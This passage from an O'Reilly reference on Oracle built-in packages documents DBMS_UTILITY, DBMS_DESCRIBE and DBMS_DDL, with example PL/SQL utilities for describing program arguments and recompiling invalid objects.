The PORT_STRING function returns a string that uniquely identifies the version of Oracle Server and the platform or operating system of the current database instance. The specification for this function follows:

FUNCTION DBMS_UTILITY.PORT_STRING RETURN VARCHAR2;

Running the PORT_STRING function in Oracle8 on Windows NT, for example, returns the following string:

IBMPC/WINNT-8.0.0

The maximum length of the string returned by this function is operating system-specific.

10.1.2.20 The DBMS_UTILITY.TABLE_TO_COMMA procedure

The TABLE_TO_COMMA procedure converts a PL/SQL table into a comma-delimited list. Here's the header for this procedure:

PROCEDURE DBMS_UTILITY.TABLE_TO_COMMA
  (tab IN UNCL_ARRAY,
   tablen OUT BINARY_INTEGER,
   list OUT VARCHAR2);

Parameters are summarized in the following table.

Parameter | Description
tab | A PL/SQL table declared using the package's TABLE type
tablen | The number of rows defined in the PL/SQL table (assumed to be densely packed, all rows contiguously defined)
list | The string that will contain a comma-delimited list of the names for the PL/SQL table

Previous: 9.2 UTL_RAW: Manipulating Raw Data | Oracle Built-in Packages | Next: 10.2 DBMS_DESCRIBE: Describing PL/SQL Program Headers
9.2 UTL_RAW: Manipulating Raw Data | Book Index | 10.2 DBMS_DESCRIBE: Describing PL/SQL Program Headers
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.2 DBMS_DESCRIBE: Describing PL/SQL Program Headers

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

10.2 DBMS_DESCRIBE: Describing PL/SQL Program Headers

The DBMS_DESCRIBE package contains a single procedure used to describe the arguments of a stored PL/SQL object.

10.2.1 Getting Started with DBMS_DESCRIBE

The DBMS_DESCRIBE package is created when the Oracle database is installed. The dbmsdesc.sql script (found in the built-in packages source code directory, as described in Chapter 1) contains the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation. The script creates the public synonym DMS_DESCRIBE for the package and grants EXECUTE privilege on the package to public. All Oracle users can reference and make use of this package.

10.2.1.1 DBMS_DESCRIBE program

Table 10.2 summarizes the single procedure available through DBMS_DESCRIBE.

Table 10.2: DBMS_DESCRIBE Program
Name | Description | Use in SQL
DESCRIBE_PROCEDURE | Describes the specified PL/SQL object by returning all of the information for the object in a set of scalar and PL/SQL table parameters. | No

10.2.1.2 DBMS_DESCRIBE nonprogram elements

In addition to the DESCRIBE_PROCEDURE procedure, DBMS_DESCRIBE defines two PL/SQL table types you can use when calling or describing a PL/SQL object. These are described in the following table.

Name/Type | Description
DBMS_DESCRIBE.VARCHAR2_TABLE | Table TYPE of 30-character strings; used to declare PL/SQL tables to hold string information returned by DBMS_DESCRIBE.DESCRIBE_PROCEDURE.
DBMS_DESCRIBE.NUMBER_TABLE | Table TYPE of numbers; used to declare PL/SQL tables to hold numeric information returned by DBMS_DESCRIBE.DESCRIBE_PROCEDURE.

The two table TYPES are defined as follows:

TYPE DBMS_DESCRIBE.VARCHAR2_TABLE IS
   TABLE OF VARCHAR2(30) INDEX BY BINARY_INTEGER;

TYPE DBMS_DESCRIBE.NUMBER_TABLE
   IS TABLE OF NUMBER INDEX BY BINARY_INTEGER;

10.2.1.3 The DBMS_DESCRIBE.DESCRIBE_PROCEDURE procedure

The DESCRIBE_PROCEDURE procedure describes the specified PL/SQL object (currently only procedures and functions are supported). It returns information about the parameters of the program in a series of PL/SQL tables. The header for this procedure follows:

PROCEDURE DBMS_DESCRIBE.DESCRIBE_PROCEDURE
    (object_name IN VARCHAR2
    ,reserved1 IN VARCHAR2
    ,reserved2 IN VARCHAR2
    ,overload OUT NUMBER_TABLE
    ,position OUT NUMBER_TABLE
    ,level OUT NUMBER_TABLE
    ,argument_name OUT VARCHAR2_TABLE
    ,datatype OUT NUMBER_TABLE
    ,default_value OUT NUMBER_TABLE
    ,in_out OUT NUMBER_TABLE
    ,length OUT NUMBER_TABLE
    ,precision OUT NUMBER_TABLE
    ,scale OUT NUMBER_TABLE
    ,radix OUT NUMBER_TABLE
    ,spare OUT NUMBER_TABLE);

Paremeters are summarized in the following table.

Parameter | Description
object_name | The name of the program being described. The form of the name is [[part1.]part2.]part3. The syntax for this name follows the rules for identifiers in SQL. This name can be a synonym and may also contain delimited identifiers (double-quoted strings). This parameter is required and may not be NULL. The total length of the name is limited to 197 bytes.
reserved1 | Reserved for future use. Must be set to NULL or an empty string, as in ``.
reserved2 | Reserved for future use. Must be set to NULL or an empty string, as in ``.
overload | An array of integers containing the unique number assigned to the program "signature." If the program is overloaded, the value in this array will indicate the specific overloading to which the argument belongs.
position | An array of integers showing the position of the argument in the parameter list. The first argument is always in position 1. A value of 0 indicates that the "argument" is actually the RETURN value of the function.
level | An array of integers describing the level of the argument. This is relevant when describing a procedure with a composite datatype, such as a record or PL/SQL table. For specific level values, see "Section 10.2.2.2, "The DESCRIBE level"" later in this chapter.
argument_name | An array of strings containing the names of the arguments. This entry is NULL if the argument is the RETURN value of a function.
datatype | An array of integers describing the datatypes of the arguments. For specific datatype values, see the next table.
default_value | An array of integers indicating whether the argument has a default value. If 1, then a default value is present; if 0, then no default value.
in_out | An array of integers indicating the parameter mode: 0 = IN mode 1 = OUT mode 2 = IN OUT mode
length | An array of integers indicating the length of the argument. For string types, the length is the "N" in CHAR(N) or VARCHAR2(N). Currently, this value represents the number of bytes (not characters) on the server-side. (For a multibyte datatype, this may be different from the number of bytes on the client side.)
precision | An array of integers containing the precisions of the arguments. Relevant only for numeric arguments.
scale | An array of integers containing the scales of the arguments. Relevant only for numeric arguments.
radix | An array of integers containing the radixes of the arguments. Relevant only for numeric arguments.
spare | Reserved for future usage (but you still have to declare a PL/SQl table to hold it!).

The values for parameter datatypes are listed in the following table.

Datatype | Number
VARCHAR2 | 1
NVARCHAR2 | 1
NUMBER | 2
INTEGER | 2
BINARY_INTEGER | 3
PLS_INTEGER | 3
LONG | 8
ROWID | 11
DATE | 12
RAW | 23
LONGRAW | 24
CHAR | 96
NCHAR | 96
MLSLABEL | 106
CLOB | 112
NCLOB | 112
BLOB | 113
BFILE | 114
Object type (Oracle8) | 121
Nested table type (Oracle8) | 122
Variable array (Oracle8) | 123
Record type | 250
Index-by (PL/SQL) table type | 251
BOOLEAN | 252

10.2.1.4 Exceptions

DBMS_DESCRIBE.DESCRIBE_PROCEDURE may raise any of the exceptions listed in the following table.

Error Code | Description
ORA-20000 | A package was specified. DESCRIBE_PROCEDURE currently allows you to request only describes for top-level ("standalone") programs (procedure and functions) or programs within a package.
ORA-20001 | You requested a describe of a procedure or function that does not exist within the package.
ORA-20002 | You requested a describe of a procedure or function that is remote (either by including a database link or by passing a program name that is actually a synonym for a program defined using a database link). DESCRIBE_PROCEDURE is currently unable to describe remote objects.
ORA-20003 | You requested describe of an object that is marked invalid. You can describe only valid objects. Recompile the object and then describe it.
ORA-20004 | There was a syntax error in the specification of the object's name.

Notice that these exceptions are not defined in the specification of the package. Instead, DESCRIBE_PROCEDURE simply calls RAISE_APPLICATION_ERROR with the error numbers listed earlier. These error numbers may therefore conflict with your own -20NNN error number usages (this is a very bad design decision on Oracle's part). If you embed calls to DESCRIBE_PROCEDURE inside your application or utility, watch out for the confusion such conflicts can cause.

10.2.1.5 Restrictions

There are several limitations on using DESCRIBE_PROCEDURE:

  • You cannot describe remote objects (i.e., PL/SQL program elements that are defined in another database instance).

  • You cannot get a describe or a listing of all elements defined in a package specification. You need to know the name of the procedure or function within the package in other to get a describe of it.

  • DBMS_DESCRIBE.DESCRIBE_PROCEDURE will not show you the internal structure (attributes) of Oracle8 elements such as object types, variable arrays, and nested tables.

10.2.2 Explaining DBMS_DESCRIBE Results

In the following sections and in subsequent examples I will demonstrate different ways of using DBMS_DESCRIBE.DESCRIBE_PROCEDURE. I will be working with the following objects:

CREATE TABLE account
   (account_no number,
    person_id number,
    balance number(7,2));

CREATE TABLE person
   (person_id number(4),
    person_nm varchar2(10));

I will also describe objects in a package called desctest, which is defined in the psdesc.tst file on the companion disk. The output I display from the DESCRIBE_PROCEDURE is generated by the psdesc (PL/SQL DESCribe) package, which is explained in the "Section 10.2.3, "DBMS_DESCRIBE Example"" section and is defined in the psdesc.spp file.

10.2.2.1 Specifying a program name

The valid syntax for a PL/SQL object to be described follows:

[[part1.]part2.]part3

Here are various valid object specifications for DBMS_DESCRIBE.DESCRIBE_PROCEDURE:

Object Specification | Description
showemps | Standalone procedure or synonym to same
emppkg.employee_name | Function inside a package
scott.delete_dept | Standalone procedure in the SCOTT schema
scott.emppkg.update_salary | Procedure inside a package in the SCOTT schema

You can also describe procedures and functions in the STANDARD and DBMS_STANDARD packages (the default packages of PL/SQL, containing the core elements of the language). To do this, you must prefix the name of the built-in with its package name, as in:

'STANDARD.TO_CHAR'

10.2.2.2 The DESCRIBE level

The level array discloses the hierarchy of the elements in a program's arguments. The level applies only to the following subset of composite datatypes: records and PL/SQL tables. The default level of 0 means that it is the top level. For scalars, that is the only level. For composites, 0 indicates that you are pointing to the actual composite argument. Each successive value of level (positive integers: 1, 2, etc.) indicates that the argument attribute or field is a child of the previous level.

The following example demonstrates how DESCRIBE_PROCEDURE generates its levels. Suppose that I have the following elements defined inside a package:

/* Filename on companion disk: psdesc.tst */*
CREATE OR REPLACE PACKAGE desctest
IS
   TYPE number_table IS TABLE OF NUMBER INDEX BY BINARY_INTEGER;

   TYPE myrec1 IS RECORD (empno NUMBER, indsal NUMBER);
   TYPE myrec2 IS RECORD
      (ename VARCHAR2(20), hiredate DATE, empno_info myrec1);
   TYPE myrec3 IS RECORD
      (deptno NUMBER, totsal NUMBER, all_emp_info myrec2);

   TYPE myrec_table IS TABLE OF myrec1 INDEX BY BINARY_INTEGER;

   PROCEDURE composites (account_in NUMBER,
     person person%ROWTYPE,
     multirec myrec3,
     num_table number_table,
     recs_table myrec_table);
END;
/

I have double-nested a record (myrec1 inside myrec2 inside myrec3), a table based on a record (myrec_table), and a "simple" table-based record (person%ROWTYPE). Here are the results from DBMS_DESCRIBE.DESCRIBE_PROCEDURE:

SQL>  exec psdesc.showargs ('desctest.composites')
OvLd Pos Lev Type            Name
---- --- --- --------------- -----------------------

   0   1   0 NUMBER          ACCOUNT_IN
   0   2   0 RECORD          PERSON
   0   1   1 NUMBER          PERSON_ID
   0   2   1 VARCHAR2        PERSON_NM
   0   3   0 RECORD          MULTIREC
   0   1   1 NUMBER          DEPTNO
   0   2   1 NUMBER          TOTSAL
   0   3   1 RECORD          ALL_EMP_INFO
   0   1   2 VARCHAR2        ENAME
   0   2   2 DATE            HIREDATE
   0   3   2 RECORD          EMPNO_INFO
   0   1   3 NUMBER          EMPNO
   0   2   3 NUMBER          INDSAL
   0   4   0 INDEX-BY TABLE  NUM_TABLE
   0   1   1 NUMBER          RETURN Value
   0   5   0 INDEX-BY TABLE  RECS_TABLE
   0   1   1 RECORD          RETURN Value
   0   1   2 NUMBER          EMPNO
   0   2   2 NUMBER          INDSAL

10.2.2.3 How overloading is handled

When you overload, you define more than one program with the same name. You will usually do this in packages. DESCRIBE_PROCEDURE creates a set of rows in the arrays for each overloading of a program. It then generates a unique, sequential number in the overload array to indicate that (a) the program is overloaded (a value of 0 indicates no overloading), and (b) to which overloading the arguments belong.

Suppose that the desctest package has two overloaded versions of the upd function (the only difference is in the datatype of the last parameter, NUMBER vs. DATE).

CREATE OR REPLACE PACKAGE desctest
IS
   FUNCTION upd (account_in NUMBER,
     person person%ROWTYPE,
     amounts number_table,
     trans_date DATE) RETURN account.balance%TYPE;

   FUNCTION upd (account_in NUMBER,
     person person%ROWTYPE,
     amounts number_table,
     trans_no NUMBER) RETURN account.balance%TYPE;
END;
/

Then the output from DBMS_DESCRIBE.DESCRIBE_PROCEDURE would be as follows:

SQL> exec psdesc.showargs ('desctest.upd')
OvLd Pos Lev Type            Name
---- --- --- --------------- -------------------

   1   0   0 NUMBER          RETURN Value
   1   1   0 NUMBER          ACCOUNT_IN
   1   2   0 RECORD          PERSON
   1   1   1 NUMBER          PERSON_ID
   1   2   1 VARCHAR2        PERSON_NM
   1   3   0 INDEX-BY TABLE  AMOUNTS
   1   1   1 NUMBER          RETURN Value
   1   4   0 DATE            TRANS_DATE
---- --- --- --------------- -------------------
   2   0   0 NUMBER          RETURN Value
   2   1   0 NUMBER          ACCOUNT_IN
   2   2   0 RECORD          PERSON
   2   1   1 NUMBER          PERSON_ID
   2   2   1 VARCHAR2        PERSON_NM
   2   3   0 INDEX-BY TABLE  AMOUNTS
   2   1   1 NUMBER          RETURN Value
   2   4   0 NUMBER          TRANS_NO

10.2.3 DBMS_DESCRIBE Example

The most important example I can think of for DBMS_DESCRIBE.DESCRIBE_PROCEDURE is the construction of a utility that makes it easier to use this procedure. Without such a utility, you must declare a set of PL/SQL tables every time you want to call the DESCRIBE_PROCEDURE. You must then also interpret the results. By encapsulating all of this information and these data structures inside the package, you can take advantage of DBMS_DESCRIBE.DESCRIBE_PROCEDURE much more easily, and also interpret the results with greater accuracy and understanding.

10.2.3.1 Features of the psdesc package

The psdesc package offers those features (PL/SQL Release 2.3 or later is needed to compile and use this package). Found in the psdesc.spp file, it contains the following elements:

  • A set of constants that give names to each of the different datatype values. These constants allow you to write code without having to remember specific hard-coded values. Here are a few lines from that code:

       c_varchar2       CONSTANT PLS_INTEGER := 1;
   c_number         CONSTANT PLS_INTEGER := 2;
   c_object_type    CONSTANT PLS_INTEGER := 121;

  • A PL/SQL table containing names to go along with those datatype constants (numbers). The psdesc.showargs program uses this table to display more descriptive information about the argument (for example, more than simply saying that it is type 121).

  • A set of constants that give names to the values for the different parameter modes. These are defined as follows:

       c_in CONSTANT PLS_INTEGER := 0;
   c_out CONSTANT PLS_INTEGER := 1;
   c_inout CONSTANT PLS_INTEGER := 2;

  • A user-defined record type that parallels the set of PL/SQL tables populated by the DESCRIBE_PROCEDURE procedure. This record type is defined as follows:

       TYPE arglist_rt IS RECORD (
     overload NUMBER,
     position NUMBER
    ,level NUMBER
    ,argument_name VARCHAR2 (30)
    ,datatype NUMBER
    ,default_value NUMBER
    ,in_out NUMBER
    ,length NUMBER
    ,precision NUMBER
    ,scale NUMBER
    ,radix NUMBER);

    This record type is the RETURN value for the psdesc.arg function.

  • A procedure that acts as a wrapper around the DESCRIBE_PROCEDURE procedure. The psdesc.args procedure has a much simpler interface.

       PROCEDURE psdesc.args (obj IN VARCHAR2);

    When you call it, you don't need to provide a set of predeclared PL/SQL tables. Those arrays are already defined in the psdesc package specification.

  • A procedure that displays all of the argument information in a very readable format. You have seen the output (or part of it) in a number of earlier sections in this chapter.

       PROCEDURE psdesc.showargs (obj IN VARCHAR2 := NULL);

    Notice that this procedure has an optional object name; if you don't provide one, it will show you the arguments for whatever program was last processed in a call to psdesc.args. In other words, it will examine whatever is sitting in the individual arrays.

  • A procedure that returns information about a specified argument (by position in the arrays).

       FUNCTION psdesc.arg (pos IN INTEGER) RETURN arglist_rt;

For reasons of space, I will not show the entire package specification and body. You can examine both of those in the psdesc.spp file. You will notice that I have placed all of the predefined PL/SQL tables in the package specification, even though the programs of psdesc offer a programmatic interface to those tables. I did that to make it easier to examine and manipulate the contents of the argument information.

Just to give you a sense of how psdesc does its job, here is the implementation of psdesc.args (my "substitute" for the original DESCRIBE_PROCEDURE):

/* Filename on companion disk: psdesc.spp */*
PROCEDURE args (obj IN VARCHAR2)
IS
BEGIN
   g_object_name := obj;

   DBMS_DESCRIBE.DESCRIBE_PROCEDURE (obj, NULL, NULL,
      g_overload,
      g_position,
      g_level,
      g_argument_name,
      g_datatype,
      g_default_value,
      g_in_out,
      g_length,
      g_precision,
      g_scale,
      g_radix,
      g_spare);
END;

I save the object name you specify in a package variable. I then call DESCRIBE_PROCEDURE, dumping all of the retrieved information into the predeclared PL/SQL tables.

To display all of the argument information for a program, you would call psdesc.showargs. Here is a simplified presentation of this procedure:

PROCEDURE showargs (obj IN VARCHAR2 := NULL)
IS
   v_onearg arglist_rt;
BEGIN
   IF obj IS NOT NULL
   THEN
      args (obj);
   END IF;

   IF g_position.COUNT > 0
   THEN
      display_header;

      FOR argrow IN g_position.FIRST .. g_position.LAST
      LOOP
         v_onearg := arg (argrow);

         display_argument_info (v_onearg);
      END LOOP;
   END IF;
END;

In other words, if the object name is specified, call psdesc.args to fill up the pre-defined arrays. Then, if there is anything in those arrays (g_position.COUNT is greater than 0), proceed from the first to the last argument and (a) call psdesc.arg to retrieve all the information for the Nth argument, and (b) display that information -- all the details of which are left to the psdesc.spp file. That was easy enough!

Here are some other aspects of psdesc you might find interesting:

  • Use of the package initialization section to fill g_datatype_names and g_mode_names, which are lists of "translations" for the numeric codes.

  • The use of a local function, strval, defined inside psdesc.showargs, which consolidates otherwise redundant logic used to format output for display.

  • The check for a non-NULL g_object_name in the psdesc.arg function to make sure that you have used psdesc.args or psdesc.showargs to fill up the predefined PL/SQL tables. This is a sure-fire validation step, since the g_object_name variable is defined in the package body. It is private data and is only modified by a call to psdesc.arg.

10.2.3.2 Using psdesc.args as a quality assurance tool

Rather than spend any more space on the implementation of psdesc, I will show you how you might put it to use.

Suppose that you want to perform quality assurance checks on your code (what a concept, eh?). One rule that you have established for all your developers is that no function should have OUT or IN OUT parameters. The only way that data is to be returned from a function is through the RETURN clause. This guideline improves the reusability and maintainability of the function. It also makes that function a candidate for execution within SQL.

How can you make sure that everyone is following this rule?

Sure, you could run some queries against ALL_SOURCE, which contains all the source code, but what would you look for? "IN OUT" and "OUT" are good candidates, but only when they are inside the parameter lists of functions. Hmmm. That actually involves some parsing. What's a software manager interested in code quality to do?

Let's see if DESCRIBE_PROCEDURE and the psdesc package can help. The following hasout function satisfies the request by obtaining all arguments with a call to psdesc.args and then scanning the PL/SQL table filled from DBMS_DESCRIBE.DESCRIBE_PROCEDURE for the offending parameter mode. This function returns TRUE if the program named by the string that I pass to it contains an OUT or IN OUT argument.

/* Filename on companion disk: hasout.sf */*
CREATE OR REPLACE FUNCTION hasout (obj IN VARCHAR2) RETURN BOOLEAN
IS
   v_onearg psdesc.arglist_rt;
   v_argrow PLS_INTEGER;
   retval BOOLEAN := NULL;
BEGIN
   psdesc.args (obj);

   v_argrow := psdesc.numargs;

   IF v_argrow = 0
   THEN
      retval := NULL;
   ELSE
      retval := FALSE;
      LOOP
         v_onearg := psdesc.arg (v_argrow);
         IF v_onearg.argument_name IS NOT NULL
         THEN
            retval := v_onearg.in_out IN (psdesc.c_out, psdesc.c_inout);
         END IF;
         EXIT WHEN retval OR v_argrow = 1;
         v_argrow := v_argrow - 1;
      END LOOP;
   END IF;
   RETURN retval;
END;
/

This function works as advertised, even for overloaded programs. Suppose, for example, that I run this function against the desctst.upd function (overloaded earlier in two versions). These functions do not contain an OUT or IN OUT parameter. I run the following script:

/* Filename on companion disk: hasout.tst */*
BEGIN
   /* I need to call hasout with an IF statement if I am going to use
      DBMS_OUTPUT.PUT_LINE to show the results; that built-in is very
      sadly not overloaded for Booleans... */
   IF hasout ('&1')
   THEN
      DBMS_OUTPUT.PUT_LINE ('&1 contains OUT or IN OUT argument(s).');
   ELSE
      DBMS_OUTPUT.PUT_LINE ('&1 contains only IN argument(s).');
   END IF;
END;
/

Calling this function, I get the following results:

SQL> @hasout.tst desctest.upd
desctest.upd contains only IN argument(s).

If I now add an additional overloading of the desctest.upd function as follows,

CREATE OR REPLACE PACKAGE desctest
IS
   FUNCTION upd (account_in NUMBER,
     person person%ROWTYPE,
     amounts number_table,
     trans_no NUMBER,
     maxsal OUT NUMBER) RETURN account.balance%TYPE;
END;
/

I then get this result from running the hasout function:

SQL> @hasout.tst desctest.upd
desctest.upd contains OUT or IN OUT argument(s).

And I bet you thought you wouldn't ever find any reason to use DESCRIBE_PROCEDURE! This handy little utility points the way to many other kinds of analyses you can perform on your code. Once you have the psdesc package in place, it becomes easy to construct these higher-level programs.

Now all you have to do is come up with a way to feed your full list of functions (both standalone and packaged) into the hasout function for its quality check. This sounds easier than it actually is. Why? Because Oracle does not offer any utilities that provide you with the list of programs defined inside of a package.

You cannot, in other words, do a describe on a package and see the list of elements defined in that package's specification. I hope that this is a shortcoming Oracle will correct, both through the provision of an API (perhaps by adding another procedure to the DBMS_DESCRIBE package) and the extension of the DESCRIBE command in SQL*Plus.

In the meantime, though, you have some options. You can get all of the stand-alone functions from ALL_OBJECTS, and that will be a start. Furthermore, if you are using PL/Vision from RevealNet (see the Preface, "About PL/Vision"), you can use the PLVcat utility to catalog your package specifications. This process will extract the names of all procedures and functions and deposit them in the plvctlg table. If that is not available, you will have to come up with a list by performing a code review on all your packages. Then put those function names (with their package names prefixed) into a database table or file. Once you have that, you can easily construct a script to read those names and pass them to hasout.

Previous: 10.1 DBMS_UTILITY: Performing Miscellaneous Operations | Oracle Built-in Packages | Next: 10.3 DBMS_DDL: Compiling and Analyzing Objects
10.1 DBMS_UTILITY: Performing Miscellaneous Operations | Book Index | 10.3 DBMS_DDL: Compiling and Analyzing Objects
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.3 DBMS_DDL: Compiling and Analyzing Objects

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

10.3 DBMS_DDL: Compiling and Analyzing Objects

The DBMS_DDL package provides access from within PL/SQL to two DDL (Data Definition Language) statements. It also offers special administrative services that are not available through DDL syntax (Oracle8 only).

10.3.1 Getting Started with DBMS_DDL

This DBMS_DDL package is created when the Oracle database is installed. The dbmsdesc.sql script (found in the built-in packages source code directory, as described in Chapter 1) contains the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation. The script creates the public synonym DBMS.DDL for the package and grants EXECUTE privilege on the package to public. All Oracle users can reference and make use of this package.

DBMS_DDL programs "run as user," which means that they execute with the privileges of the user who calls that program.

NOTE: All programs in DBMS_DDL first commit the current transaction, then perform the specified operation. When the operation is completed, another commit is performed.

10.3.1.1 DBMS_DDL programs

Table 10-3 shows the programs defined in DBMS_DDL.

Table 10.3: DBMS_DDL Programs
Name | Description | Use in SQL
ALTER_COMPILE | Compiles the specified PL/SQL object. | No
ANALYZE_OBJECT | Computes statistics for the specified database object. | No
REFERENCEABLE | Makes the specified table referenceable for object identifiers (OIDs) in existing data structures. Available in Oracle8 only. | No
ALTER_TABLE_NOT_REFERENCEABLE | Undoes the action of the previous procedure, ALTER_TABLE_REFERENCEABLE. Available in Oracle8 only. | No

DBMS_DDL does not define any exceptions or nonprogram elements.

10.3.2 Compiling PL/SQL Objects

You can recompile PL/SQL objects that are already stored in the database by calling the ALTER_COMPILE procedure.

10.3.2.1 The DBMS_DDL.ALTER_COMPILE procedure

Here's the header for this procedure:

PROCEDURE DBMS_DDL.ALTER_COMPILE
   (type IN VARCHAR2
   ,schema IN VARCHAR2
   ,name IN VARCHAR2);

Here are the possible values you can provide for the type parameter (enclosed in single quotes when you pass them to the procedure) and the actions that result:

Type | Action
PROCEDURE | Recompiles the specified procedure
FUNCTION | Recompiles the specified function
PACKAGE | Recompiles the specified package specification and body
PACKAGE BODY | Recompiles the specified package body
PACKAGE SPECIFICATION | Recompiles the specified package specification

The schema and name arguments are case-sensitive. In almost every instance, the names of your PL/SQL objects are stored in uppercase (you must enclose those names in double quotes when creating the objects if you want mixed case). You will therefore need to specify the names in uppercase when you call ALTER_COMPILE.

Note the following about using this package:

  • If you pass NULL for the schema, then the current schema (the same value returned by a call to the built-in function USER) will be used.

  • If you try to recompile DBMS_DDL, STANDARD, or DBMS_STANDARD (assuming that you have the privileges to do so), this procedure will return without taking any action.

  • When you request recompilation of a program, Oracle will first recompile any objects upon which that program depends, and which are marked invalid.

In order to compile a program, you must own that program (in other words, the schema you specify is the owner of the program for which you request compilation) or your schema must have been granted the ALTER ANY PROCEDURE privilege to compile another schema's programs.

The following command from a DBA account in SQL*Plus enables the SCOTT account to compile the programs of other schemas:

SQL> GRANT ALTER ANY PROCEDURE TO SCOTT;

Here are a few examples of usage, assuming that SCOTT has been granted the ALTER ANY PROCEDURE privilege:

  1. Recompile the procedure in the SCOTT schema that shows employees.

        SQL> exec DBMS_DDL.ALTER_COMPILE ('PROCEDURE', USER, 'SHOWEMPS');

    Notice that I pass in all arguments in uppercase to ensure a match.

  2. Recompile the body of the empmaint package in the SALLY schema.

        SQL> exec DBMS_DDL.ALTER_COMPILE ('PACKAGE BODY', 'SALLY, 'EMPMAINT');

    Here too, I pass in all arguments in uppercase to ensure a match.

  3. Suppose that I had created a procedure as follows:

        CREATE OR REPLACE PROCEDURE "%$^abc" IS
    BEGIN
     ...
    END;
    /

    (Try it! You will discover that this syntax will be acceptable to the compiler! It turns out that if you enclose your identifier -- be it a table name, column name, program name or variable name -- in double quotes, all of the normal rules are suspended.)

    Then I can recompile this program with the following command:

        SQL> exec DBMS_DDL.ALTER_COMPILE ('PROCEDURE', USER, '%$^abc');

    Strange, but true!

10.3.2.1.1 Exceptions

The ALTER_COMPILE procedure may raise any of the following exceptions:

ORA-20000

Insufficient privileges or object does not exist. You must either own the specified object or be granted the CREATE ANY PROCEDURE privilege.

ORA-20001

Remote object, cannot compile. You can only recompile objects on the local database instance.

ORA-20002

Bad value for object type. You need to provide one of the values listed in the previous section.

Notice that these exceptions are not defined in the specification of the package. Instead, ALTER_COMPILE simply calls RAISE_APPLICATION_ERROR with one of the above error numbers. These error numbers may therefore conflict with your own -20NNN error number usages. If you embed calls to ALTER_COMPILE inside your application or utility, watch out for the confusion such conflicts can cause.

10.3.2.1.2 Example

At first glance, you might say this of the ALTER_COMPILE procedure: "Why bother? The command is available in SQL*Plus. I'll just execute the ALTER PROCEDURE XXX COMPILE command when I need to recompile."

The big difference between that command and the ALTER_COMPILE procedure, of course, is that you can run the latter within a PL/SQL block or program. This allows you to apply the full power and flexibility of a procedural language to make the utility more useful. This technique is demonstrated by my recompile procedure, which follows. This program recompiles all stored PL/SQL objects that are identified by the parameters you provide to it.

/* Filename on companion disk: recmpile.sp */*
CREATE OR REPLACE PROCEDURE recompile
   (status_in IN VARCHAR2 := 'INVALID',
    name_in IN VARCHAR2 := '%',
    type_in IN VARCHAR2 := '%',
    schema_in IN VARCHAR2 := USER)
IS
   v_objtype VARCHAR2(100);

   CURSOR obj_cur IS
      SELECT owner, object_name, object_type
        FROM ALL_OBJECTS
       WHERE status LIKE UPPER (status_in)
         AND object_name LIKE UPPER (name_in)
         AND object_type LIKE UPPER (type_in)
         AND owner LIKE UPPER (schema_in)
       ORDER BY
         DECODE (object_type,
            'PACKAGE', 1,
            'FUNCTION', 2,
            'PROCEDURE', 3,
            'PACKAGE BODY', 4);
BEGIN
   FOR rec IN obj_cur
   LOOP
      IF rec.object_type = 'PACKAGE'
      THEN
         v_objtype := 'PACKAGE SPECIFICATION';
      ELSE
         v_objtype := rec.object_type;
      END IF;

      DBMS_DDL.ALTER_COMPILE (v_objtype, rec.owner, rec.object_name);

      DBMS_OUTPUT.PUT_LINE
         ('Compiled ' || v_objtype || ' of ' ||
          rec.owner || '.' || rec.object_name);
   END LOOP;
END;
/

Here are a few interesting aspects to this procedure:

  • The default values are set up so that if you call recompile without any arguments, it will recompile all objects marked INVALID in your own schema. That seemed to be the most common usage for this utility, so why not design the interface to make that the easiest usage as well?

  • I translate the PACKAGE type to PACKAGE SPECIFICATION. I also order the objects retrieved so that they are compiled in the following order: package, function, procedure, and finally package body. I do this so that package specifications are compiled first, putting in place as many of the interfaces as possible, before moving on to the implementations of standalone programs and then package bodies.

  • It was necessary to declare a local variable for the object type because the definition of the OBJECT_TYPE column in ALL_OBJECTS is as VARCHAR2(12). When I combine PACKAGE and SPECIFICATION into a single "type" for purposes of the recompilation, the new type is too big for the record-based field.

  • I call DBMS_OUTPUT.PUT_LINE to provide a "trace" of the recompilations that have taken place.

  • You can use wildcarded values in just about all of the arguments (name, type, owner) in order to perform just those recompilations that you need to perform.

  • I apply the UPPER function to all arguments. This will work (and make it easier to specify objects for recompilation) unless you use mixed case in your object names.

So to recompile all invalid programs in my schema, I would enter this command:

SQL> exec recompile

To recompile only package bodies that are invalid, I would execute the following:

SQL> exec recompile (type_in => 'PACKAGE BODY')

10.3.3 Computing Statistics for an Object

Use the ANALYZE_OBJECT procedure to compute statistics for the specified table, index, or cluster.

10.3.3.1 The DBMS_DDL.ANALYZE_OBJECT procedure

Here is the header for this procedure:

PROCEDURE DBMS_DDL.ANALYZE_OBJECT
   (type IN VARCHAR2
   ,schema IN VARCHAR2
   ,name IN VARCHAR2
   ,method IN VARCHAR2
   ,estimate_rows IN NUMBER DEFAULT NULL
   ,estimate_percent IN NUMBER DEFAULT NULL
   ,method_opt IN VARCHAR2 DEFAULT NULL);

Parameters are summarized in the following table.

Parameter | Description
type | The type of the database object. Legal values are TABLE, CLUSTER, or INDEX.
schema | The name of the schema containing the object for which you wish to compute statistics. If NULL, then the current schema is used.
name | The name of the object for which you wish to compute statistics.
method | Action to be taken by the program. ESTIMATE, DELETE, and COMPUTE are accepted values and are explained following.
estimate_rows | The number of rows to be used to perform the statistics estimate. Cannot be less than 1. Used only if method is ESTIMATE.
estimate_percent | The percentage of rows to be used to perform the statistics estimate. Ignored if estimate_rows is non-NULL. Must be between 1 and 99. Used only if method is ESTIMATE.
method_opt | The method option, indicating which elements of the object will be analyzed.

The schema and name arguments are case-sensitive. In almost every instance, the names of your PL/SQL objects are stored in uppercase. (Enclose those names in double quotes when creating the objects if you want mixed case). You will therefore need to specify the names in uppercase when you call COMPUTE_STATISTICS.

This procedure offers a procedural equivalent to the SQL DDL statement:

